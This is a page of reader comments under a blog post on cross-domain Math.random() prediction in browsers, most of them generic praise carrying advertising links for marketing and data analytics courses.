Thank you for writing this informative blog. You have done an excellent job in explaining the importance of cross-domain math random prediction and the potential risks associated with it. The examples you have used have given a clear illustration of the concept and its vulnerabilities. I was especially impressed with the discussion on the potential attack vectors and the preventive measures you have suggested. Your blog has certainly broadened my understanding of this important topic. Thank you for taking the time to share your knowledge and experience. Best Technical Writing Courses in India

SWATHI said...

I really appreciate you for writing this blog post. You have clearly and concisely explained the concept of Cross Domain Math.Random Prediction and its implications on security. You have presented the issue in a comprehensive manner that is easy to understand and comprehend. Your blog post is an excellent source of information for those interested in learning more about Cross Domain Math.Random Prediction and its effects on security. Your blog post is a great reference for anyone looking to understand the concept and its implications in more detail. Thank you for taking the time to write this blog and helping us gain a better understanding of the topic. Digital Marketing Courses in Glassglow

Harshita said...

Hi, Really Interesting Blog, Thanks for sharing. Data Analytics Courses on LinkedIn

freelancersbook said...


Hey Fabulous Article got to learned so much about it. Thankyou for sharing the Article on this subject. “Ivan Fratric's Security Blog ” gives us great deal of information about the subject. Keep producing such great content and keep it up.
Digital Marketing Courses in Austria

HP said...

Thankyou for sharing such a informational blog with us. I loved reading it.
Digital Marketing Courses In Norwich

Anonymous said...

Amazing.!! Thanks for sharing this.  Digital Marketing Courses In zaria 

roopa said...

Great piece of information about java. Thanks for sharing it. Best Data analytics courses in India

hnp said...

Very interesting and helpful blog. Great write up!
Digital Marketing Courses In geelong

hnp said...

The way you explain a complex topic in an easy-to-understand way is really impressive.
Digital Marketing Courses In geelong

kamal said...

Gosh! I appreciated reading the information you provided; thank you. I like reading what you have to say.
Digital Marketing Courses In Tembisa

raani said...

Amazing blog post! Thank you for posting, appreciate your efforts.
Is IIM SKILLS Fake?

Luv Roy said...

I've recently read a few articles on Math.random(), but this one sounds really interesting. Cross-domain Math.random() prediction is a concept I had never heard of before. I appreciate you providing this fantastic blog. Best Tally Courses in India

Babu said...

Thanks for sharing this brilliant article. This is very informative and useful. Brilliant writing and clear explanation. Digital Marketing Courses In Doha

Babu said...

This is very informative and nice article. Brilliant article I really enjoy reading this article. Digital Marketing Courses In Doha

Seoprac said...

wonderful article. I think it has everything needed for the reader.

Digital Marketing Courses In hobart

hnp99 said...

I loved the content. Keep writing.
Digital Marketing Courses In Bahrain

shashank verma said...
This comment has been removed by the author.
Gayathri said...

Nice article! Thank you for sharing.
Best Free online digital marketing courses

KANAV AGARWAL said...

So informative and well-presented. It's almost like this program was done by people who have extensive skills in conveying knowledge in an easy-to-understand format. I loved this course! Digital marketing trends

Digital Marketing Courses In Atlanta said...

Nice article. I thank you for this wonderful article. The information in this article is very relevant. I really enjoyed reading the good content.
Digital Marketing Courses In Atlanta

Digital Marketing Courses In Atlanta said...

You have shared an amazing knowledge through your article. I would like to be here again commenting on your upcoming article. Keep going.
Digital Marketing Courses In Atlanta

hnp90 said...

Your blogs are unique. And the way you explain it is mind-blowing.
How Digital marketing is changing business

Praveena said...

Wonderful blog post. I found it really useful. thank you for sharing this information.
Free data Analytics courses

Shivani Bhatere said...
This comment has been removed by the author.
Shivani Bhatere said...

This was a great article. Thankyou for sharing.
Integrated marketing communications

Types of digital marketing which is ideal said...

This article highlights a potential security issue with Math.random() in web applications and explains the technique of Cross-domain Math.random() prediction. It serves as a reminder to web developers to be aware of this vulnerability and take necessary measures to protect their applications.
Types of digital marketing which is ideal

Types of digital marketing which is ideal said...

This article sheds light on a potential security vulnerability in web applications that use JavaScript's Math.random() function. The concept of Cross-domain Math.random() prediction is explained in detail, including the conditions that must be met for an attack to occur. The article also explores the pseudo-random number generator implementations in different web browsers, which can be exploited by attackers to predict the values generated by Math.random(). Overall, this is an informative and useful article for those interested in web application security.
Types of digital marketing which is ideal

Anushap21 said...

Brilliant job done with the blog. It was very informative.
Check this detailed guide on the top 10 Digital Marketing modules.
 What are the Top 10 Digital marketing modules 

dmpassion05 said...

Interesting article highlighting the security vulnerability in Math.random() and proposing a solution using Cross-domain access.

Social media marketing ideas



hnp97 said...

loved reading the content.
Brand marketing

SEO said...

Interesting article. A good read. gives you a lot of knowledge

Social media marketing for entrepreneurs

Moumita said...

Great analysis of the cross-domain Math.random() prediction vulnerability! Your clear explanations and detailed code examples showcase your expertise in web security. Thanks for shedding light on this overlooked issue and providing insights into browser vulnerabilities.
Top benefits of using social media for business

Moumita said...

Fantastic article! Your exploration of cross-domain Math.random() prediction is both enlightening and well-documented. The inclusion of real-life examples showcases the practical implications of this vulnerability. Keep up the great work!
Top benefits of using social media for business

Mou said...

Your article is a captivating exploration of the topic, providing valuable insights and a fresh perspective. The way you articulate complex ideas with clarity and precision is truly commendable. Thank you for sharing such an enlightening piece!
The Ultimate guide to the benefits of Video marketing

DMtools said...

Hi, thank you for sharing such a brilliant and informative blog. To facilitate your journey as a Digital marketer, refer to this article which provides information on the core digital marketing tools.
 Free digital marketing tools 

Shivani.B said...

This is such a great informative blog. Thankyou for sharing this useful information with everyone.

Digital marketing courses In Chennai

Jahan said...

This article is a great reminder of the importance of being vigilant and informed when it comes to website security. Thank you for sharing this informative piece with us!
6 Best social media sites for digital marketing

Jahan said...

Wow, what an informative read! It's fascinating to learn about the potential security vulnerabilities that arise from a seemingly harmless function like Math.random().Thank you for sharing this valuable insight!
6 Best social media sites for digital marketing

kirthi said...

Thank you for taking the time to share your knowledge and expertise through your blog. Your insights have been truly enlightening.
Career in Digital marketing

Shila Deshmukh said...

Wonderful Blog!! Thanks for all the information. Healthcare Digital marketing

Onlinebiz2121 said...

Brilliant article! Very well-written and very detailed post on this topic.
https://www.blogger.com/comment.g?blogID=5507223161490572934&postID=519289505756056177&page=2&token=1686751990549&isPopup=true

dmpassion007 said...

Understanding the Security Implications and Mitigation Strategies" is an insightful and informative article that delves into the potential security risks associated with cross-domain Math.random() prediction and offers practical strategies to mitigate these risks. Online learning portals in India the need of the hour

dmpassion01 said...

The article provides a clear explanation of cross-domain Math.random() prediction, highlighting how malicious actors can exploit predictable random number generation across different domains to compromise the integrity of cryptographic operations and compromise security. Data Analytics vs Data Mining

dmpassion02 said...

Readers will gain a comprehensive understanding of the implications of cross-domain Math.random() prediction and the potential impact on sensitive operations, such as session management, secure token generation, and cryptographic key generation. Digital Marketing Courses In Randburg

dmpassion03 said...

With its focus on security best practices, the article offers practical mitigation strategies, including the use of secure random number generators, domain isolation techniques, and proper seeding of random number generation, to minimize the risk of cross-domain Math.random() prediction attacks. Digital Marketing Courses In Bhutan

dmpassion04 said...

Whether you're a web developer, security professional, or system administrator, the insights shared in "Cross-domain Math.random() Prediction" provide valuable guidance for securing web applications and preventing potential vulnerabilities arising from predictable random number generation. Benefits of Online digital marketing course

dmpassion06 said...

The article serves as an essential resource for understanding the nuances of cross-domain Math.random() prediction, empowering developers and security practitioners to implement robust and secure random number generation practices, enhancing the overall security posture of their applications.Top 12 free email-marketing tools for business

Israt.j1044 said...

It's incredible to see the creativity and skill of hackers, but it's also worrying to think about the potential consequences of this kind of exploit.
Digital marketing courses in Jamaica

Ravi Teja said...

As a software developer this helped me a lot, u wrote an amazing article. Thank you for the blog.
Please visit
 Digital marketing courses in George Town 

Moumi said...

Fantastic article! Your insightful analysis and clear presentation of the topic kept me engaged from start to finish. Your ability to provide practical solutions sets you apart as a thought leader in this field. Looking forward to reading more of your work!
Top digital marketing modules for business

Moumi said...
This comment has been removed by the author.
Moumi said...
This comment has been removed by the author.
Aperture3 said...

Excellent article! Thank you for sharing! Digital marketing funnel traditional to digital

iimskills said...

This blog post deserves a standing ovation! It effortlessly combines intellect, creativity, and practicality to deliver an enriching and enjoyable reading experience. The author's mastery of the subject matter is evident in every word, making complex ideas accessible and relatable. The use of captivating storytelling and vivid examples brings the content to life, leaving a lasting impact on the reader.

iimskills said...

Wow, just wow! This blog post is an absolute gem that deserves all the accolades. From the very first sentence, I was hooked and couldn't stop reading. The author's ability to blend expertise with a conversational tone is a rare gift.

Mita said...

Ivan, your analysis of the Cross-domain Math.random() prediction issue is incredibly informative and eye-opening. Your clear explanation of the vulnerabilities in Firefox and Internet Explorer adds a new dimension to understanding web application security. Thank you for sharing your expertise and shedding light on this important topic.
Data Analytics Courses in Bangalore



Mita said...

Ivan, your in-depth analysis of the Cross-domain Math.random() prediction issue showcases your expertise in web application security. Your clear explanation and examples make it easier for readers to understand the vulnerabilities in different browsers. Great work!
Data Analytics Courses in Bangalore



shashank said...

Great article with insightful stuff.
Digital marketing courses in Jordan

shashank verma said...

My study was really aided by your article, and I also picked up some new ideas for a fantastic post. Thank you, and please keep up the good work.
Data Analytics Courses In Pune

shashank verma said...

Excellent blog; I want to tell my family and friends about it. I greatly appreciated it, so please continue to share articles like this.
Data Analytics Courses In Pune

Adwords21 said...

Interesting blog! Very informative and engaging.
Google Ads is one of the most cost-effective ways to promote online to get new consumers, generate profits, or establish a brand.
 Benefits of Google adwords 

Ankita said...

Nice Blog,, thanks for sharing this informative article with us.
Instagram courses in Chennai

Ankita said...

Great article, You have provide us really an informative blog,, thanks for it.
Instagram courses in Chennai

Focus4 said...

Very high end scientific work! Appreciate! Data Analytics Courses in Agra

Eshrat Amin said...

This article definitely piqued my curiosity and left me wanting to learn more about the potential applications of cross-domain prediction. Fantastic work! If you are interested to learn about 10 digital marketing courses in Delhi click here
Digital Marketing Courses in Delhi

Mitali said...

van, your article is a comprehensive exploration of the security issue surrounding Math.random() in web applications. Your clear explanations and example code make it easy to understand the concept of Cross-domain Math.random() prediction. Thanks for sharing your expertise in web security.
Data Analytics Courses In Kochi

Mitali said...

Ivan, your insightful article on cross-domain Math.random() prediction sheds light on an important security issue in web applications. Your thorough analysis and example code demonstrate your expertise in the subject, making it a valuable resource for developers and security professionals alike. Well done!
Data Analytics Courses In Kochi

AbhiBasu said...

Wonderful blog post! Thank you for sharing! Data Analytics Courses In Coimbatore

Pratyaksha said...

Thanks for sharing wonderful article. You have a very good content and good job.
Data Analytics Courses in Goa

dmpassion08 said...

The article serves as an essential resource for understanding the nuances of cross-domain Math.random() prediction, empowering developers and security practitioners to implement robust and secure random number generation practices. https://iimskills.com/data-analytics-courses-in-chandigarh/

PratyakshaSS said...

The content was clear and easy to grasp, and the instructors were incredibly knowledgeable and supportive.
Data Analytics courses in thane

PratyakshaSS said...

This course has boosted my confidence in handling data and drawing meaningful insights. Thanks a million for this enriching experience.
Data Analytics courses in thane

Books Made Easy said...

nice and informative post about cross domain security
Data Analytics Courses in Surat

Data analytics Courses in Zambia said...

amazing blog! thanks for sharing this useful informative insights of yours.
Data analytics Courses in Zambia

Pamela said...

Fascinating read! Your research on the vulnerabilities of Math.random() in various browsers is highly insightful and valuable for web developers. Thank you for sharing this important information!
Data Analytics courses in new york

Rini said...

Very detailed any well written article to address the issue. I could learn a lot from this. Thanks for sharing.
Data Analytics Courses In Edmonton

Anjna Arora said...

Super amazing blog.
Data Analytics Courses in London

PratyakshaSSS said...

With Data Analytics and Data Science, we navigate the data landscape with confidence, armed with the knowledge needed to make informed choices.
Data Analytics and Data Science

PratyakshaSSS said...

Appreciative of the insights they deliver, helping us better serve customers, optimize processes, and stay competitive in a data-centric world.
Data Analytics and Data Science

Shakhi said...

Hello, the author in this article sheds light on a potential security vulnerability in certain browsers' PRNG implementation and emphasizes the importance of considering such weaknesses when developing web applications that rely on random number generation. I loved reading this.

Data Analyst Interview Questions

amita joshi said...

the article was nice and informative
Data Analytics Scope

sancharini said...

Hello Blogger,
This article serves as an informative and eye-opening piece about the potential security risks associated with Math.random() and the predictable behavior of pseudo-random number generators in certain browser versions. Thank you for sharing this.
Data Analytics Courses at XLRI

shashank verma said...

I was really interested in learning more about the potential uses of cross-domain prediction after reading this paper. Outstanding effort!
Social media marketing plan

«Oldest ‹Older   201 – 400 of 468   Newer› Newest»